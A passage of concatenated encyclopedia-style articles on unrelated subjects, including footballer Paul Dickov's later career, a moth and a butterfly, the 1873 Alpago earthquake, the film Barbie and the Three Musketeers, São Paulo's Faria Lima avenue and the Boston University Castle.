Dickov re-joined Manchester City on 26 May 2006, signing a two-year contract. He came on as a substitute in City's first game of the 2006–07 season against Chelsea, a 3–0 defeat. He then started the next three matches, including a 1–0 win over his former club Arsenal. Dickov suffered several injuries over the course of the season, including a back problem, a knee injury and a toe injury, the latter sidelining him for four months. Dickov made nine starts and seven substitute appearances in 2006–07, but failed to score a single goal. In May 2007 he announced his interest in pursuing a coaching role upon retirement.
Dickov was transfer listed by Manchester City in August 2007. He joined Crystal Palace on a three-month loan on 31 August 2007. On 31 January 2008, Dickov joined Blackpool on loan until May. Two days later he scored on his debut for Blackpool, what proved to be the winning goal in the Seasiders' 2–1 victory against Leicester City, one of his former clubs, at Bloomfield Road. He had come on as a 70th-minute substitute and scored the winning goal in the 89th minute. It was his first goal since 2 January 2006. He went on to score five goals in his first five appearances for the club, and on 4 March he was named as the Professional Footballers' Association (PFA)'s Fans Championship Player of the Month for February. By the end of his loan, Dickov had scored six goals in eleven appearances. He returned to Manchester City after his loan before then being released at the end of the season.
Return to Leicester City
An initial bid from his former club Leicester City was rejected a week earlier, and after pondering other offers from Toronto FC and Blackpool, Dickov decided to rejoin Leicester on 7 August 2008, signing a two-year contract. He made his debut in a 2–0 home win over Milton Keynes Dons on 9 August 2008, scoring his first goal in a 3–2 League Cup defeat to Fulham on 27 August. He made a total of 20 league games, scoring two goals as Leicester finished the 2008–09 season as League One champions. On 28 August 2009, Dickov joined Derby County on loan until January as cover. Due to an injury crisis Dickov found himself playing regularly at Derby, where his dogged style won over the support of the Derby fans. Dickov scored his first goal for Derby against Queens Park Rangers on 24 October 2009. After his loan spell at Derby ended, Dickov returned to Leicester in January 2010. He was released from his Leicester contract by mutual consent on 1 February 2010.
Leeds United
After his release by Leicester, Dickov trained with Leeds United and Toronto FC during February 2010. Leeds were initially unable to sign Dickov due to the fact he had already played for two clubs in the 2009–10 season, but he signed a short-term contract with Leeds on 3 March 2010 after they received special dispensation from FIFA. Dickov played four times for Leeds as they finished second in League One and won promotion, and he left the club at the end of his contract.
International career
Dickov played in Scotland's run in the 1989 FIFA U-16 World Championship, where he scored in the final, but went on to miss in the penalty shoot-out as Scotland lost to Saudi Arabia.
He made his senior international debut for Scotland on 7 October 2000, coming on as a substitute in a World Cup qualifier against San Marino. He made two further substitute appearances that year, against Croatia and Australia. Limited first-team opportunities at club level then meant Dickov did not play for Scotland for another two years. Good form at Leicester City earned him a recall in September 2002, when he made his first start for Scotland. Playing out of position on the wing, Dickov was substituted at half-time as the team drew 2–2 against the Faroe Islands, who were 62 places lower in the world rankings at the time. In the return fixture a year later, Dickov scored his first international goal in a 3–1 win. His last cap came in a 1–0 defeat against Norway in October 2004. In total, Dickov earned ten Scotland caps and scored one goal.
Style of play
Dickov's success as a striker was attributed to his tenacity and persistence; in a 2003 interview with the Independent on Sunday he provided a summary of his playing style: "The ability to battle is one of the main parts of my game. I know my limits. I am not the sort who gets the ball and is then going to beat five or six players and stick it in the top corner from God knows where. But, whether I'm playing well or not, the one thing you will get from me is 110 per cent, upsetting defenders and basically giving them pain." His combative approach resulted in Manchester City manager Joe Royle naming him "The Wasp", and during his time at Leicester he was known as "The Pest".
Post-playing career
Oldham Athletic
On 9 June 2010, Dickov signed a one-year contract with League One club Oldham Athletic to become player-manager following the departure of previous manager Dave Penney. It was Dickov's first attempt at managing and expected to be his last club as a player. His first competitive game as Oldham manager ended in a 2–1 victory at rivals Tranmere with Dale Stephens scoring both goals, Dickov also praised the travelling group of Oldham Fans. On 4 September 2010, he made his debut coming on as a second-half substitute against Bristol Rovers.
Dickov opted to build a youthful side and made several controversial decisions at the start of the season, including offloading 2009–10 player of the season and club captain Sean Gregan, as well as top scorer Paweł Abbott and other first team players. The team went into the New Year in ninth position, with games in hand on the teams above them, and being unbeaten at home in the league. Results in the second half of the season were less consistent and the team finished the season in the bottom half of the table. On 6 May 2011 Dickov announced that he would make only his second appearance of the season for the first team in the final match of the season, and would then end his playing career to concentrate on management. He then came on as a 77th-minute substitute the following day against Milton Keynes Dons.
On 27 January 2013, Dickov led Oldham to a shock 3–2 victory against Premier League team Liverpool in the FA Cup, but he resigned on 3 February, primarily due to the team's poor league form.
Doncaster Rovers
On 20 May 2013, Dickov was appointed manager of Doncaster Rovers, who were promoted to the Championship having won the League One title in the 2012–13 season. Doncaster were relegated back to League One after just one season following a 1–0 final day defeat to Leicester City. On 8 September 2015, Dickov was dismissed as Doncaster manager due to poor performances.
Media career
Dickov now works as a television pundit, namely for Manchester City TV.
Personal life
Dickov is married to Janet and the couple have three children: Lauren, Max, and Sam; he owes his family name to his Bulgarian grandfather.
In March 2004, Dickov, along with Leicester City teammates Keith Gillespie and Frank Sinclair, was falsely accused of sexual assault while at a training camp in La Manga, Spain. All three were subsequently cleared when forensic tests showed the allegations were false. Dickov would later describe it as the "darkest period" of his footballing career.
Career statistics
Club
International
Scores and results list Scotland's goal tally first, score column indicates score after Dickov goal.
Managerial record
Honours
Arsenal
UEFA Cup Winners' Cup: 1993–94
Individual
PFA Team of the Year: 2002–03 First Division
References
External links
Profile at the Scottish Football Association website
1972 births
Living people
Footballers from Livingston, West Lothian
Scottish men's footballers
Scotland men's under-21 international footballers
Scotland men's international footballers
British people of Bulgarian descent
Men's association football forwards
Arsenal F.C. players
Blackburn Rovers F.C. players
Brighton & Hove Albion F.C. players
Derby County F.C. players
Leicester City F.C. players
Luton Town F.C. players
Manchester City F.C. players
Crystal Palace F.C. players
Blackpool F.C. players
Leeds United F.C. players
Oldham Athletic A.F.C. players
Livingston United F.C. players
Premier League players
English Football League players
Scottish football managers
Oldham Athletic A.F.C. managers
Doncaster Rovers F.C. managers
English Football League managers
Men's association football player-managers |
Mirta is a female given name which may refer to:
Mirta Aguirre (1912-1980), Cuban poet, novelist, journalist and political activist
Mirta Busnelli (born 1946), Argentine actress
Mirta Diaz-Balart (born 1928), first wife of Fidel Castro
Mirta Galesic, Croatian American psychologist
Mirta Miller (born 1948), Argentine actress
Mirta Ojito (born 1964), Cuban-American newspaper reporter
Mirta de Perales (1922-2011), Cuban-American beauty business entrepreneur and cosmetologist
Mirta Roses Periago, Argentine epidemiologist
Spanish feminine given names
Feminine given names |
Gabriel Silva Moscardo de Salles (born 28 September 2005), known as Gabriel Moscardo, is a Brazilian footballer who plays as a midfielder for Corinthians.
Club career
Born in Taubaté, Moscardo joined Corinthians' youth setup in 2017. He made his first team debut on 28 June 2023, coming on as a second-half substitute for Giuliano in a 3–0 home win over Liverpool, for the year's Copa Libertadores.
Moscardo made his Série A debut as well as first-team start on 2 July 2023, starting in a 1–0 home loss against Red Bull Bragantino.
Career statistics
References
2005 births
Living people
Footballers from São Paulo
Brazilian men's footballers
Men's association football midfielders
Campeonato Brasileiro Série A players
Sport Club Corinthians Paulista players |
Ectoedemia virgulae is a moth of the family Nepticulidae. It was described by Annette Frances Braun in 1927. It is known from the United States including Ohio, Maryland and Florida, and in Canada from Ontario and Quebec.
The larvae feed on Corylus americana.
References
Nepticulidae
Moths of North America
Taxa named by Annette Frances Braun
Insects described in 1927 |
Halvdan Eyvind Stokke (20 November 1900 – 15 December 1977), birth name Halvdan Eyvind Johannessen, commonly known as H. E. Stokke was a Norwegian railway director and Mayor of Oslo.
Biography
He was born in Fredrikstad in Østfold to Anton Johannessen (1857–1936) and his wife Helen Anderson (1865–1944). In the 1920s, he studied telegraphy in Oslo and was employed at Telegrafverket from 1920 to 1945. From 1945 to 1948, he was State Secretary at the Ministry of Transport and Communications. He was employed as Director General of the Norwegian State Railways (NSB) from 1951 to 1966.
Stokke was a member of Fredrikstad city council 1928–29 and Aker municipal council 1932–1948. He served as mayor of Aker from 1946 to 1947. He continued as mayor of Oslo from 1948 to 1950 after Aker was incorporated into Oslo in 1948.
References
1900 births
1977 deaths
People from Fredrikstad
Labour Party (Norway) politicians
Politicians from Aker
Mayors of Oslo
Commanders of the Order of the Dannebrog
Order of the Polar Star
Recipients of the St. Olav's Medal |
Vostochny () is a rural locality (a khutor) in Polevoye Rural Settlement, Novoanninsky District, Volgograd Oblast, Russia. The population was 76 as of 2010. There are 4 streets.
Geography
Vostochny is located in forest steppe on the Khopyorsko-Buzulukskaya Plain, 38 km north of Novoanninsky (the district's administrative centre) by road. Galushkinsky is the nearest rural locality.
References
Rural localities in Novoanninsky District |
Third Brook flows into West Brook by Walton, New York.
References
Rivers of New York (state)
Rivers of Delaware County, New York
Tributaries of the West Branch Delaware River |
Janet Wu is an American TV presenter, journalist and teacher.
Until November 2015, she had been a general assignment reporter and fill-in presenter for WHDH-TV (Channel 7), NBC's Boston affiliate, and had worked for them for 17 years.
In 2018 she became an anchor/reporter for Bloomberg News.
Early life and education
Wu, who was born in Texas and raised in Miami, Florida, received her bachelor's degree in psychology and philosophy from Yale University. She earned a master's degree at Columbia University in Journalism and International Affairs.
Career
Before joining WHDH-TV in 1996, Wu was the weekday morning presenter for KIRO-TV in Seattle. Before that, she was the weekend presenter and reporter at KGMB in Honolulu, Hawaii. She also made a cameo appearance in the film Free Willy 2: The Adventure Home. During college, she had worked for WFSB in Hartford, Connecticut.
A published essayist and op-ed contributor, Wu speaks English, Mandarin Chinese and Spanish. Her essay "Homeward Bound" was published in The New York Times and appears in expository writing texts including The Norton Sampler and Evergreen: A Guide to Writing with Readings. In June 2012, she wrote an essay which was published in The Boston Globe entitled "Marina Keegan and the gift of time" reflecting on the tragic untimely death of 2012 Yale graduate Marina Keegan.
In November 2015, she left WHDH-TV to continue her charity work and to teach at Emerson College.
In April 2018, she took a job with Bloomberg as an anchor/reporter. For Bloomberg, Wu primarily interviews entrepreneurs, investors, and business leaders, primarily for “Bloomberg Baystate Business.”
Wu was named in 2022 as a member of the Council on Strategic Risks.
She also regularly hosts events with the Boston Symphony; Wu is an accomplished cellist and pianist.
Publications
Fawcett, Susan. Evergreen: A Guide to Writing with Readings, 8th Edition. CENGAGE Learning, 2007. (Janet Wu essay, "Homeward Bound")
Cooley, Thomas (Editor). The Norton Sampler: Short Essays for Composition. W. W. Norton & Company, 2010. (Janet Wu essay, "Homeward Bound")
Wu, Janet. "Homeward Bound", The New York Times, September 5, 1999.
Wu, Janet. "Identity Crisis", Charles River Review, Harvard University, Fall 1999.
Wu, Janet; Tarsy, Andrew. "Dith Pran: Two views of a legend", The Boston Globe, March 23, 2008.
Wu, Janet, "Marina Keegan and the gift of time", The Boston Globe, June 1, 2012
References
External links
Foundation Gala, November 6, 2009, Janet Wu, Emcee (archived 2011)
American television reporters and correspondents
Living people
Yale College alumni
Columbia University Graduate School of Journalism alumni
Year of birth missing (living people)
Harvard Extension School alumni
School of International and Public Affairs, Columbia University alumni |
Calliostoma chuni is a species of sea snail, a marine gastropod mollusk in the family Calliostomatidae.
Description
The height of the shell attains 31 mm.
Distribution
This species occurs in the Indian Ocean off Somalia at a depth of 800 m.
References
External links
Carl Chun, Wissenschaftliche Ergebnisse der Deutschen Tiefsee-Expedition 1898-1899; Jena, 1904
Endemic fauna of Somalia
chuni
Gastropods described in 1903 |
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Ovacık is a village in the Ardanuç District, Artvin Province, Turkey. Its population is 134 (2021).
References
Villages in Ardanuç District |
Edward R. "Ed" Gagnier (born February 1, 1936) is a Canadian former gymnast and gymnastics coach. He was a gymnast at the University of Michigan from 1956 to 1958. He was selected as an All-American in 1956 and also became the first gymnast to represent Canada at the Olympic games. He was the head coach of the gymnastics program at Iowa State University from 1961 to 1983 and led his teams to NCAA championships in 1971, 1973 and 1974. He was inducted into the U.S. Gymnastics Hall of Fame in 1982.
Early years
Gagnier grew up in Windsor, Ontario, Canada. He joined his high school gymnastics team at age 14.
University of Michigan
As a member of the Michigan Wolverines gymnastics teams, he won five Big Ten Conference championships—the 1957 all-around championship, the 1956 and 1957 vault championships, and the 1956 and 1957 parallel bars championships. In 1956, he was also selected as an All-American in the parallel bars and all-around.
Gagnier became Canada's first Olympic gymnast, representing his home country at the 1956 Summer Olympics in Melbourne, Australia. Gagnier graduated from the University of Michigan in 1958 with a bachelor of arts degree in physical education. In 1992, he was inducted into the University of Michigan Athletic Hall of Honor.
Iowa State
After leaving the University of Michigan, Gagnier coached gymnastics in Milwaukee, Wisconsin. In 1961, he was hired by Iowa State University to create a gymnastic program. The program began as a club sport. He served as the head gymnastics coach at Iowa State for 22 years. His teams won the NCAA team championships in 1971, 1973, and 1974. They also won eight Big Eight Conference championships. He retired as Iowa State's gymnastics coach in 1983 but remained in Ames, Iowa, as the school's promotions director for the athletic department.
Gagnier was also the author of "Inside Gymnastics," published in 1974.
Gagnier was inducted into the U.S. Gymnastics Hall of Fame in 1982.
A banner of Gagnier was hung from the rafters of Hilton Colessium on February 20, 2015.
References
Michigan Wolverines men's gymnasts
Iowa State Cyclones men's gymnastics coaches
1936 births
Living people
Canadian male artistic gymnasts
Sportspeople from Windsor, Ontario
Gymnasts at the 1956 Summer Olympics
Olympic gymnasts for Canada |
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end
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Barbie and the Three Musketeers is a 2009 computer-animated fantasy film. It was released to DVD on September 15, 2009, and made its television premiere on Nickelodeon on November 22, 2009.
This film is the sixteenth entry in the Barbie film series. It features the voice of Kelly Sheridan as Corinne d'Artagnan (played by Barbie) and is based on the 1844 novel The Three Musketeers by Alexandre Dumas.
Plot
In 1600s-era France, a seventeen-year-old girl named Corinne (played by Barbie), who lives on a farm with her mother, dreams of becoming a Musketeer like her father D'Artagnan. Her kitten Miette dreams of becoming a "mus-cat-eer".
Unfortunately, when they make it to Paris, things do not turn out as Corinne hoped. She is made fun of by other people, especially the Prince's cousin and advisor, Phillippe. His dog, Brutus, steals her letter to Monsieur Treville and flees to the castle. Corinne gets it back, but Brutus damages it. After having a conversation with Treville, he tells her she is not ready. However, the wicked Brutus chases Miette towards the castle, making a worse scenario with three palace maids. Corinne encounters Madame de Bosse, who hires her as another palace maid. After a hard day, one of the maids, Aramina (played by Summer), convinces the other two, Viveca (played by Teresa) and Renee (played by Nikki), to let Corinne and Miette stay. They befriend each other and forgive her for what happened.
The next day at work, Corinne meets Prince Louis for the first time. After talking to Phillippe about his hot-air balloon invention, a chandelier drops and almost crushes Louis but he moves just in time. Corinne, Viveca, Aramina and Renee show off their musketeer skills to defend themselves from the chandelier fragments. Corinne finds a gem next to the chandelier rope which appears to have been cut. Corinne tells her friends about her dream to become a musketeer and three girls excitedly reveal they also have the same dream.
The old maid, Helen, overhears their conversation and takes them through a secret passageway, where she leads them to the old forgotten musketeer's training room and agrees to train the four girls to be true musketeers.
One day, while Corinne is cleaning, she spots Louis hanging from his flying hot-air balloon and saves his life. He thanks her and they immediately fall in love. While on the balloon, she sees the rope attached has been cut, just like the chandelier. When Louis confusedly says girls can't be musketeers, Corinne storms off angrily and tells her friends what happened. Helen warns them to keep eyes and ears open for enemies, otherwise Prince Louis will be in grave danger. Miette sneaks into the castle, with the help of Corinne's horse Alexander, to join training with Corinne and her friends. Finally, their training is completed.
One night, Corinne, Viveca, Aramina, and Renee decide to celebrate their musketeer skills. While walking through the dark, deserted streets, they encounter men led by a man named Regent who pulls out a knife which Corrine realizes matches the gem she found next to the chandelier rope. They discover the Regent's men are sneaking weapons into the masquerade ball to kill Louis so his evil cousin Phillippe will be the new king.
They try to tell Treville but no one believes them and they are banned from the castle. They wear disguises and sneak into the ball without being caught. The prince chooses to dance with Corinne. Though he does not recognize her with her mask, he feels he knows her. The henchmen attack; they capture Treville and the other musketeers, fight the girls and throw Louis into the passageways where Phillipe chases him to the rooftops.
In the end, after escaping the men and freeing Treville and the musketeers, Corinne saves Louis just in time and they arrest Phillippe, Regent, Brutus, and their men. Corinne, Viveca, Aramina, and Renee remove their masks and Corinne and Louis reconcile. Louis names them royal musketeers on the day of his coronation. Helen takes Madame de Bosse's place and Madame de Bosse is made a maid as punishment for being so wicked and bossy. Corinne's mother is proud of her daughter finally becoming a musketeer. Louis offers to take Corinne on another balloon ride, but before she can say yes, Treville informs her and the other girls of a plot against the king. Corinne and her three best friends mount their horses, shout "All for one, and One for all!" and wave goodbye to Louis and the kingdom as they ride off happily towards the sunset on their next adventure to save another day.
Allusions to the original story
Paris, which is France's capital city and the center location of the original story, is also the location for the film.
The girls mention a former roommate named Constance. In the novel, Constance Bonacieux is the woman that D'Artagnan falls in love with.
One of the guests at the masquerade ball is introduced as the Countess de Winter, who was one of the antagonists from the original story.
Monsieur Treville, the captain of the Musketeers in the film, is named after the captain in the original story, Monsieur de Treville.
The part when Corinne accidentally falls on each of three girls and makes them angry alludes to the beginning of the novel where D'Artagnan accidentally runs into each of the Musketeers, unintentionally upsetting each man and earning himself a challenge to a duel.
Corinne's home is in Gascony, which is the location of D'Artagnan's family estate in the novel. Corinne also mentioned to Treville her father, D'Artagnan, who had also been a musketeer.
Tim Curry, who voices Philippe in the film, also played the villainous Cardinal Richelieu in the 1993 live-action version of The Three Musketeers. The name of the character is also a reference to the sequel to the Three Musketeers, The Iron Mask, which also features a cousin to the king named Philippe.
Aramina appears to be named after Aramis, another protagonist from the novel. Aramis' first name was Rene, so Renee appears to have been named after him, too.
Cast
Kelly Sheridan as Corinne (played by Barbie), a 17-year-old country girl from Gascony. Hot-headed, confident, and determined, she aspires to become a musketeer, like her father, d'Artagnan. Her signature color is pink and her chief weapon is a sword. She is Caucasian with fair skin, blonde hair and blue eyes.
Willow Johnson as Aramina (played by Summer), an idealistic dancer. She nurses a crush on Prince Louis, but is delighted when he and Corinne fall in love. Her signature color is teal, and her weapon is a pair of fans. She is Caucasian with light skin, strawberry red hair and hazel eyes.
Dorla Bell as Renée (played by Nikki), a practical, well-headed and skilled fighter and slightly unfriendly violinist. Her signature color is blue, and her weapons are a sling and bow. She is African-American with dark skin, dark brown/black hair and brown eyes.
Kira Tozer as Viveca (played by Teresa), a stylish and witty fashionista. She tends to use French in her speech. Her signature color is purple, and her weapon is a pair of ribbons which she uses as whips. She has brunette hair in ringlets, tan skin and brown eyes.
Tim Curry as Philippe, the main antagonist. He plots the kill his own cousin, the Prince, and to make himself king.
Mark Hildreth as Prince Louis, a prince who will become the future king. He loves the thought of flying and inventions. He falls in love with Corinne after she saves his life.
Bernard Cuffling as Monsieur Treville, a good friend of Corinne's father. He is a brave and strong musketeer.
Merrilyn Gann as Madame de Bossé, the bossy cruel boss of Helen, Corinne, Viveca, Aramina, and Renee when they are maids.
Kathleen Barr as Hélène, a wise elderly maid who trains Corinne, Viveca, Aramina, and Renee to become musketeers. She later becomes the boss of Madame de Bossé.
Barr also voices Fancy dress girl # 2
Nicole Oliver as Corrine's mother
Oliver also voices Fancy dress girl #1
Amelia Henderson as Miette, Corinne's kitten who dreams of becoming a mus"cat"teer.
David Kaye as Alexander, Corinne's brave horse (previously her father's)
Brian Dobson as Brutus, Philippe's wicked dog who Miette must defeat.
Reviews
CommonSenseMedia's review gave the movie three stars out of five and concluded: "A pretty good try, but this Musketeer misses the mark...Barbie does all kinds of acrobatic moves, which flaunt her girlishness, but putting a sword in her dainty little hands seems to be a stretch."
DVDverdict's review said the CGI was not spectacular and adults would not find much to cheer about. However, children would find it "fine and dandy. It has no offensive material, and promotes the idea girls can be anything they want if given a chance and the right accessories."
DVD Talk's review rated the content worth two stars out of five (but three for video and audio), but advised "Rent it" due in part to the songs. "Unfortunately, some distasteful songs run throughout this speedy retelling of the Dumas classic, so be forewarned...Not only are the lyrics ugly, they're senseless."
Release
The movie was released on DVD on September 15, 2009 and opened at #2, selling 399,000 units which translated to $5.6 million in sales. By early October, it had dropped to #24 in rank. A total of 629,178 DVD units had been sold, representing total sales of $9.9 million.
This was the first Barbie direct-to-video film to have its distribution fully handled by Universal Pictures International outside of North America instead of Entertainment Rights (to which Universal was previously the home video distributor for them for the Barbie movies), as part of their new deal with Mattel.
Video game
A video game based on the film was released for the Wii, Nintendo DS and Microsoft Windows published by Activision and developed by WayForward Technologies. It is a 2D platformer where you control Corinne, and later Renée, Viveca and Aramina, each one with their own special abilities, across 15 levels that loosely follows the events from the movie, with some scenes from it being used as cutscenes between certain levels. Each level contains 100 coins that can be collected to be spent in a shop run by Viveca where the player can buy additional clothes for the characters to wear during the game, as well as screenshots taken from the movie that can be viewed in a gallery. All versions of the game are the same except for the Wii and Windows versions having smoother graphics and instrumental music. Game Director, Adam Tierney, wanted to make sure that the game's combat incorporated the dancer-like quality to the movement as seen in the animation. Mixing dancing and fencing with a Shaolin sword-fighting flair, they were able to achieve this, and the characters weren't just re-enacting canned slashes over and over. In addition, each of the 4 playable characters were given abilities as an homage to NES-era games. For example Corinne could hang from ceilings like Grant Danasty in Castlevania III: Dracula's Curse, while Viveca used long ribbons to swing in the air like Nathan 'Rad' Spencer in Bionic Commando. None of these ideas came from the film, but the freedom provided by the producers at Mattel and Activision, made for a much more fun and interesting game.
See also
List of Barbie films
References
External links
barbie.com
2009 direct-to-video films
2009 films
2000s feminist films
American children's animated adventure films
American direct-to-video films
Canadian animated feature films
Canadian direct-to-video films
Animated films based on The Three Musketeers
Animated films set in Paris
Animated films set in France
Animated films about friendship
Films about sexism
Three Musketeers
Universal Pictures direct-to-video animated films
Universal Pictures direct-to-video films
2000s American animated films
2009 computer-animated films
2000s children's animated films
2000s children's fantasy films
Films directed by William Lau
2000s English-language films
2000s Canadian films
Animated films set in the 17th century
Animated films about discrimination |
Lethe serbonis , the brown forester, is a species of Satyrinae butterfly found in the Indomalayan realm (Bhutan, Sikkim, Assam, Arunachal Pradesh, Burma, West China)
References
serbonis
Butterflies of Asia |
The 1873 Alpago earthquake occurred near the Italian city of Belluno on June 29 in the geologically active Alpago Valley of the Veneto region; the zone is rated as two on a four-degree risk scale (one being the highest). The 6.3 magnitude quake was rated as IX–X (Violent–Extreme) on the Mercalli intensity scale. Intensities greater than VII (Very strong) were confined to the provinces of Belluno, Treviso and Pordenone.
Earthquake
The earthquake struck at 4:29 a.m. on June 29, 1873, a day which was to be a local holiday celebrating Saint Peter and Saint Paul.
The shock was strongly felt in the whole Veneto region, damaging mostly the towns located in the Alpago basin, in Val Lapisina and above the Cansiglio plateau. It was felt as far away as Genova, Marche and Umbria, Slovenia, Austria, Switzerland and Bavaria. The epicenter was at the northern edge of Santa Croce Lake, east of Belluno.
Casualties and damage
Thirty people died in the Alpago area, and ten more in the rest of the Province of Belluno. The towns of Rugolo, Cappella Maggiore, and Sarmede reported 16 casualties, but in San Pietro di Feletto, 38 people perished when the old church's roof collapsed while the morning mass in honor of Saint Peter, the city's saint, was being celebrated.
In the most stricken zones, a third of the buildings were damaged. In Belluno itself, the duomo's apse collapsed. Eight buildings were completely destroyed, another 110 later had to be demolished, 139 needed restoration, and 251 were in need of some work. One church was destroyed, and other seven were damaged. In the city's outskirts, two blocks had to be demolished, 21 houses needed restoration and 219 more received slight damage. No building in the city was left undamaged.
In the surrounding towns, 15 houses collapsed, 66 had to be demolished later, 243 needed restoration and 669 had to be repaired. About 260 houses went unscathed. Four churches were destroyed, and 21 more were severely damaged. The city of Venice sustained minor damage, assessed as 6th degree on the Mercalli scale.
Discovery of the effect of soil on damage severity
In Ceneda, the seminary, the cathedral steeple and San Martino Castle were damaged or destroyed. The nearby town of Serravalle experienced little damage (only the partial collapse of the Turris Nigra, a tower), later explained by the different composition of the underlying soil by seismologists Torquato Taramelli and Giulio Andrea Pirona; the scientists discovered that Serravalle sat above a compact slab of limestone, while Ceneda, just a few kilometers away, rested on soil composed of alluvial conglomerates. This discovery was instrumental in developing the seismic macro-zoning process, a technique used to better assess the risk of damage from earthquakes.
Relief efforts
A public funding subscription was held in Vittorio Veneto, raising 2232,45 lire, while a provincial committee succeeded in raising 26.771,90 lire for the reconstruction. Vittorio Emanuele II, King of Italy, personally committed 1000 lire to the effort.
Authorities reacted quickly to the disaster, asking for help from the Army and the Carabinieri in order to remove the rubble, set up tents and communications, and maintain order among the refugees.
A wood shortage led to delays in the repairs of damaged buildings. In the following weeks, a military brigade was given the task of felling enough trees to meet the needs of reconstruction.
See also
List of earthquakes in Italy
List of historical earthquakes
References
1873 earthquakes
1873 in Italy
1873 Alpago
History of Veneto
June 1873 events
1873 disasters in Italy |
Avenida Brigadeiro Faria Lima (in English: Brigadeiro Faria Lima Avenue), most commonly known as just Faria Lima, is an important avenue in the city of São Paulo, Brazil. It spans the upscale Pinheiros, Jardim Paulistano, Itaim Bibi and Vila Olímpia neighborhoods. It is also an important commercial and financial center that rivals the downtown and Paulista Avenue areas. The avenue has recently started to be perceived as some sort of "Brazilian Wall Street" due to the many financial institutions headquartered there or on adjacent streets. Examples include BTG Pactual, Itaú BBA, Bradesco BBI (three of Brazilian biggest investment banks), Goldman Sachs, Credit Suisse, Morgan Stanley, Bank of America Merrill Lynch, JPMorgan Chase, UBS and many others.
History
Avenida Faria Lima was built in the late 1960s, with an initial stretch lying between Rua Iguatemi ("Iguatemi Street"), in the Itaim Bibi district, and Largo da Batata ("Potato Square"), in the neighborhood of Pinheiros, crossing the Jardins region of the city. Initiated in 1967 by São Paulo's then mayor, Brevet Brigadier José Vicente Faria Lima, it would receive his name two years later, after his death.
By 1970, the construction of several high-rise commercial buildings was started, tearing through the middle of the large residential area that had been there before. The large skyscrapers that started to rise above the Jardins prompted it to be called the "Second Paulista."
In the 1990s, then mayor Paulo Maluf devised a plan to extend the avenue in both directions, to the north between Largo da Batata and Pedroso de Moraes Avenue in Pinheiros, and to the south between Cidade Jardim Avenue in Jardim Paulistano and Hélio Pellegrino Avenue in Vila Olímpia. This was done by widening a small residential road in Itaim Bibi. The project was controversial because it would displace many citizens, and it was argued that the rapid expansion of the city would make it only a temporary solution to the growing traffic problems, but it was carried out and opened in the late 1990s.
Landmarks
On Faria Lima Avenue, there are many popular and important places that attract locals (Paulistanos) and visitors alike, such as:
Iguatemi São Paulo Shopping Center - the first shopping mall built in the city and in Brazil, opened in 1966. It is among the most luxurious in the country.
Museum of the Brazilian Home (Portuguese: Museu da Casa Brasileira) - a museum for Brazilian and international architecture and interior design.
Pinheiros Sport Club - one of the oldest sport clubs in the city, it contains large open fields and many recreational facilities in the heart of the city.
Wall Street English - one of the most modern units of the international English School.
The area is also known for its newly built and futuristic skyscrapers, such as:
Dacon Building - with its cylindrical design, it is one of the most iconic skyscrapers in São Paulo.
Infinity Tower - location of Credit Suisse, Goldman Sachs, Louis Vuitton, Apple, Facebook (top floor), and others.
Pátio Victor Malzoni - location of BTG Pactual, Google (top floor), Grupo Cimed recently moved to the third floor of the property.
The avenue itself and its surroundings have a prominent nightlife, with numerous bars and night clubs. The area also has other important city landmarks, such as Eldorado Shopping Center, and many elegant restaurants and hotels.
References
Avenida Brigadeiro Faria Lima at the Portuguese Wikipedia
External links
Shopping Center Iguatemi São Paulo (in Portuguese)
Museu da Casa Brasileira (in Portuguese)
Esporte Clube Pinheiros (in Portuguese)
Wall Street English - Faria Lima (in Portuguese)
SiiLA Brasil - Grupo Cimed (in Portuguese)
Streets in São Paulo |
ISA 310 Knowledge of the Business was one of the International Standards on Auditing. It is no longer effective with the introduction of ISA 315 'Identifying and assessing the risks of material misstatement through understanding the entity and its environment' and ISA 330 'The auditor's responses to assessed risks'.
It served to expect the auditors are to have necessary knowledge of the client's business. Even before accepting the audit job, auditor has to make sure if you have sufficient knowledge to perform the audit professionally.
ISA 310 points out that the sources of auditors' knowledge are:
previous working experience with the entity and its industry.
site visit including client's premises and plant facilities.
the client's minutes of meetings and other legal and non-legal documents.
the entity's directors and other personnel.
the internal auditors and audit committee of the entity.
the lawyers, surveyors and other experts who provided services to the entity.
the previous auditors and audit working papers.
the previous financial reports, budgets, internal control reports and interim financial reports.
the client's business partners including customers, suppliers and bankers.
economists, news reporters, regulators, and so on.
References
ISA 310 IFAC.org
International standards
Internal audit
Auditing standards |
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Rubus deamii, known as Deam's dewberry, is a North American species of dewberry in section Procumbentes (formerly Flagellares) of the genus Rubus, a member of the rose family. It grows in scattered locations in the east-central United States and southern Canada, from Ontario south to Missouri, Tennessee, and West Virginia, but nowhere is it very common.
References
External links
Photo of herbarium specimen at Missouri Botanical Garden, collected in Missouri in 1933
deamii
Plants described in 1932
Flora of the United States
Flora of Ontario |
The Boston University Castle (or BU Castle or simply "The Castle") is a Tudor Revival-style mansion owned by Boston University on Bay State Road. The school typically uses it for receptions or concerts, but also rents out The Castle to cater events and special occasions.
Architecture
The building was cited by architectural historian Bainbridge Bunting in his Houses of Boston's Back Bay as displaying “the most convincing medieval effect of the area.”
According to Boston University, the building's founder, William Lindsey, would have been pleased by this description. Lindsey had derived his inspiration for the Castle from the great manor houses of Tudor England. "The imposing style of these medieval mansions held a special allure for Lindsey, who, besides being a successful businessman, was also a poet and playwright. His writings, such as The Severed Mantle: A romance of medieval Provence and The Red Wine of Roussillon, a blank-verse drama set in France during the Middle Ages, reveal the same fascination with the antique and the romantic that pervades the design of the Castle."
History
The Castle was originally built as a residence for William Lindsey (1858–1922), a prominent Boston businessman who made his fortune with a patented cartridge belt the British Army used during the Boer War. Plans were drawn up in 1904 and construction was completed in 1915 at a cost of more than $500,000.
Shortly after the building's completion, Lindsey's eldest daughter was married in the mansion, though she and her groom would later be killed while on their honeymoon, aboard the ill-fated Lusitania after the ship was torpedoed by a German submarine just off the coast of County Cork. The grief-stricken Lindsey later constructed the magnificent Leslie Lindsey Memorial Chapel in Emmanuel Church on Newbury Street in his daughter's memory.
In 1926, Oakes Ames purchased the Castle from Lindsey's widow. He, University Trustee Dr. William E. Chenery and Chenery's wife donated the mansion to Boston University in 1939. From then until 1967, the Castle was used as the home of Boston University's presidents.
In 2007, the Castle was a filming location for the Kevin Spacey movie 21, and in 2016, for Ghostbusters.
BU Pub
